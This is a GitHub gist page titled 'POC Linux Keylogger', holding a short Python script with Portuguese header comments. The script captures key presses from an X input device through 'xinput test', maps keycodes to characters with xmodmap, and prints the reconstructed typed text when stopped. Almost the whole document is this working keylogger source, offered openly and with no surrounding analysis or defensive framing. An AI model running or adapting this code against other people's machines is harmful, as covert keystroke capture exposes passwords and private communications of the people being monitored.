Skip to content

Instantly share code, notes, and snippets.

@voyeg3r
Forked from bavardage/gist:939140
Created May 4, 2011 16:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save voyeg3r/955569 to your computer and use it in GitHub Desktop.
Save voyeg3r/955569 to your computer and use it in GitHub Desktop.
POC Linux Keylogger
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Arquivo: keylogger para linux
# Criado: Qua 04/Mai/2011 hs 14:01
# Last Change: 2011 Mai 04 14:30:42
# autor: bavardage (Ben Duffield)
# site: http://ardoris.wordpress.com
# changed by: Sérgio Luiz Araújo Silva
# reference: http://blog.liquuid.net/2011/04/23/como-fazer-um-keyloggermouse-no-linux/
import re, collections
from subprocess import *
def sanitize_keybinding(binding):
d = {'space': ' ',
'apostrophe': "'",
'BackSpace': ' (<-)',
'Return': '↵ \n',
'period': '.',
'Shift_L1': ' (shift1) ',
'Shift_L2': ' (shift2) '}
if binding in d:
return d[binding]
else:
return binding
def get_keymap():
keymap = {}
table = Popen("xmodmap -pke", shell=True, bufsize=1, stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[m.groups()[0]] = sanitize_keybinding(m.groups()[1].split()[0])
return keymap
if __name__ == '__main__':
logger = Popen("xinput test 8", shell=True, bufsize=1, stdout=PIPE).stdout
counts = collections.defaultdict(lambda : 0)
output = []
try:
for line in logger:
m = re.match('key press +(\d+)', line.decode())
if m:
keycode = m.groups()[0]
counts[keycode] += 1
output.append(keycode)
except KeyboardInterrupt:
keymap = get_keymap()
print(output)
print("---------------------")
print(''.join(map(lambda x: keymap[x] if x in keymap else '?', output)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment